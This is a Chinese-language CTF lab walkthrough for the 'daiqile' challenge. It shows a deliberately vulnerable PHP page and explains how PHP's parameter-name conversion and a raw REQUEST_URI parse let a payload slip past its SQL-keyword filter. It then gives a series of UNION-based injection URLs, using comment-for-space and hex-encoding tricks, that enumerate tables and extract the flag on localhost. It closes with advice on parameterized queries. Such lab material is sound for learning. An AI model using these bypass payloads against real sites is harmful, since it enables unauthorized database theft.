目录
一、环境准备
1.将daiqile下载到phpstudy的www目录下
2.创建数据库ctf、插入数据
3.测试数据库是否创建完成
4.测试网站
二、联合查询注入测试
index.php代码如下:
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysqli_query($sql);
while($row = mysqli_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
1.确定注入点
找到应用程序中的可能注入点,例如搜索框、表单提交字段或 URL 参数。尝试通过输入一些常见的 SQL 注入 payload 来确认是否存在注入点。例如:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1
2.识别数据库类型
确定数据库管理系统(DBMS)类型,以便选择合适的注入技巧。可以使用以下 payload 来识别数据库:
http://127.0.0.1/daiqile/index.php?id=' UNION SELECT NULL, @@version --
3.枚举数据库名称
使用联合查询获取当前数据库名称。输入如下 payload:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
4.列出单个数据库
如果需要单个数据库,可以使用如下 payload:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1&submit=1
5.获取表名
确定数据库后,获取该数据库中的所有表名。假设数据库名称是 ctf
,可以使用:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1
6.获取表中的列名
确定了表名后,枚举该表中的所有列名。假设表名为 users
,使用:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
7.提取敏感数据
获取列名后,从表中提取敏感数据,如 flag。假设你找到了包含 flag 的列名 flag_column
,可以使用:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
三、需要注意的点
1.SQL 注入安全性:在测试和修复 SQL 注入漏洞时,请确保采取适当的安全措施,以免影响生产环境或泄露敏感信息。
2.输入验证:验证和清理用户输入是防止 SQL 注入的重要步骤。使用预处理语句和参数化查询可以有效减少注入风险。
3.测试与防护:在发现漏洞后,及时修复并重新测试应用程序的安全性。使用现代的 Web 安全工具进行全面扫描可以帮助发现潜在漏洞。